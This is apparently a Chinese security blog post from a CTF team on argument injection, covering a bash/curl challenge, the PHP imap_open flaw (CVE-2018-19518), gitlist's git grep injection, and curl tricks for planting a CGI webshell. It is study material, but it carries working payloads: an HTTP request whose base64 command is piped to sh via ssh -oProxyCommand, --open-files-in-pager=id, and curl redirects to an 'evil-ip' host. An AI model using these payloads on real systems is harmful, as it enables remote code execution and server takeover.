招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
起因是看到一个博主发的一个问题的思考
刚看到这个问题的时候,我也觉得这里应该是有命令注入,因为在bash脚本中如果直接出现 `id` 这种的字符串肯定是可以触发命令注入,我通过在Ubuntu18上测试发现确实会有命令注入
但是把这个题目环境搭建好以后 https://github.com/phith0n/code-breaking/tree/master/2020/bashinj
发现并不能触发命令注入,反引号被当成了一个普通的字符串,我思考了这个问题以后觉得问题应该是这样的:
-
反引号在bash脚本中被解析肯定是没有问题的,但是必须是已经写完整的形式直接出现在bash脚本中,像题目中是将可控字符串作为变量传参,所以在bash中解析的时候这里就只是一个函数赋值,并没有解析赋值的内容中是否有特殊字符串,可以看下面这个示例
root@ubuntu:/home/pluto# cat 1.sh
#!/bin/bash
name="abcd`"
a="${name}id>/tmp/1.txt`"
echo $a
root@ubuntu:/home/pluto# ./1.sh
abcd`id>/tmp/1.txt`
root@ubuntu:/home/pluto# cat /tmp/1.txt
cat: /tmp/1.txt: No such file or directory
-
回归到前面那个 curl
的问题,参数再怎么拼接永远都是curl
的参数,如果curl
本身没有命令执行的功能也是达不到命令注入的效果的
解题
虽然这道题无法注入命令,但因为用户的输入在URL中没有双引号包裹,可以注入curl
的一些参数,比如:
所以这里就可以用参数注入的方式达到RCE的目的,这里介绍两个比较典型的参数注入的例子
PHP IMAP 参数注入
php5.6.39修复了imap扩展里一处命令执行漏洞,CVE-2018-19158
这是一个典型的参数注入漏洞,imap_open
会使用rsh来登录远程服务器。rsh是一个执行远程shell的方法,而在ssh出来以后大部分Linux发型版都将rsh替换成了ssh。
比如,在debian系Linux中,执行apt-get install ssh-client
,安装ssh。安装成功后,执行rsh,即可发现,其实执行的就是ssh命令。
而ssh支持指定-oProxyCommand=
参数,这个参数实际上可以在客户端执行任意命令。所以,最终表现就是,在debian系系统中,使用imap_open
连接imap服务器,如果服务器地址被控制,将会导致命令执行漏洞。
这个漏洞条件较多,有:
-
debian系列系统,如debian、ubuntu -
php 安装并使用了imap扩展(默认没有) -
imap_open中服务器地址被控制
使用docker漏洞环境进行复现 https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
Internet 消息访问协议(IMAP)
是一种 Internet 标准协议,电子邮件客户端使用该协议通过 TCP/IP
连接从邮件服务器检索电子邮件消息。IMAP
是由 Mark Crispin 于 1986 年设计的一种远程邮箱协议,与广泛使用的 POP(一种用于检索邮箱内容的协议)形成鲜明对比。IMAP 的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。IMAP 服务器通常侦听端口号 143。默认情况下,IMAP over SSL (IMAPS)
分配的端口号为 993。当然,PHP 具有对 IMAP 的开箱即用支持。为了使该协议的使用更加容易,PHP 提供了一系列函数。我们关注的是 IMAP_OPEN
函数
imap_open — Open an IMAP stream to a mailbox
Description ¶
imap_open(
string $mailbox,
string $user,
string $password,
int $flags = 0,
int $retries = 0,
array $options = []
): IMAPConnection|false
Opens an IMAP stream to a mailbox.
查看imap2007f库的源代码。处理连接的主要函数是 tcp_unix.c
文件中定义的tcp_aopen
。
347: if (*service == '*') { /* 想要 ssh 吗?*/
348: /* 如果 ssh 禁用则立即返回 */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh 命令原型定义了吗?*/
351: if (!sshcommand) sshcommand = cpystr(“%s %s -l %s exec /etc/r%sd”);
352: }
353: /* 想要 rsh 吗?*/
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh 命令原型定义了吗?*/
356: if (!rshcommand) rshcommand = cpystr(“%s %s -l %s exec /etc/r%sd”);
357:}
358:否则返回NIL;/* rsh 禁用 */
该代码生成一个命令来在远程服务器上执行rimapd二进制文件。
测试1.php:
1: <?php
2: @imap_open('{localhost:143/imap}INBOX', '', '');
然后使用 strace 工具和execve系统调用过滤来观察脚本处理期间将执行哪些命令。
strace -f -e trace=clone,execve php test1.php
可以看到本地主机是执行命令的参数之一。这意味着我们可以在操作服务器地址参数的同时操作命令行。
而ssh支持指定-oProxyCommand=
参数,这个参数实际上可以在客户端执行任意命令。
root@34de5432e78a:/var/www/html# ssh -oProxyCommand="echo hello|tee /tmp/1.txt" localhost
ssh_exchange_identification: Connection closed by remote host
root@34de5432e78a:/var/www/html# cat /tmp/1.txt
hello
发送如下数据包即可成功执行命令echo '1234567890'>/tmp/test0001
:
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
谈escapeshellarg绕过与参数注入漏洞
gitlist
是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。
在用户对仓库中代码进行搜索的时候,gitlist
将调用git grep
命令:
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
其中,$query
是搜索的关键字,$branch
是搜索的分支。
如果用户输入的$query
的值是--open-files-in-pager=id;
,将可以执行id
命令:
导致这个漏洞的原因,有几点:
-
开发者对于escapeshellarg函数的误解,造成参数注入
-
git grep的参数–open-files-in-pager的值,将被直接执行
理论上,在经过query);处理后,$query将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
本题
介绍一个网站,GTFOBins,这里面可以找到很多Linux下不同命令的tricks,就包含了一些可能执行命 令的参数等。
https://gtfobins.github.io/gtfobins/curl/,可以发现,curl中并没有可以直接执行命令的参数
可以利用curl进行文件写入或读取操作,我们可以考虑到一种利用方法,就是通过 -o
写入cgi文件进行getshell。
控制下载的内容
但是我们需要控制curl写入的文件内容,可以使用curl的 -x
参数,这个参数可以指定请求时使用的HTTP代理,我们通过代理来劫持httpbin
的请求包,控制返回结果
使用python的mitmproxy库来实现一个代理服务器,
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = br'''
hello
'''
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [
Hook()
]
mitmdump -s demo.py --set block_global=false
如果请求的目标是https,我们的代理没有配置证书,可能会出现SSL错误,可以增加一个 -k
参数来解决这个问题。
还有一种方法是使用 --resolve
选项来控制DNS解析的结果:
curl http://httpbin.org/get?name=vulhub --resolve "httpbin.org:80:evil-ip"
这里指定了对httpbin.org:80
的请求,会发送给evil-ip
也能很快的控制返回结果,而且会更加简单,只需要在evil-ip
的80端口放上一个名为get
的文件即可。
另一种方法,也可以使用 --dns
来控制DNS服务器
赋予可执行权限
如果下载一个文件直接存储是没有可执行权限的,这里的解决办法是用下载的文件去覆盖新的文件,这样就可以保存原文件的权限,但是我们不能改变原文件的正常业务逻辑,所以首先需要通过文件读取的方式读到原本的脚本内容。
直接利用file协议来读取:
http://your-ip:8080/index.cgi?name=vulhub%20file:///usr/local/apache2/htdocs/index.cgi
然后,拿到了index.cgi的文件内容,我们可以将自己的webshell加入其中
参考文献
https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
https://t.zsxq.com/E6MNrRB
– END –
原文始发于微信公众号(ChaMd5安全团队):关于参数注入的思考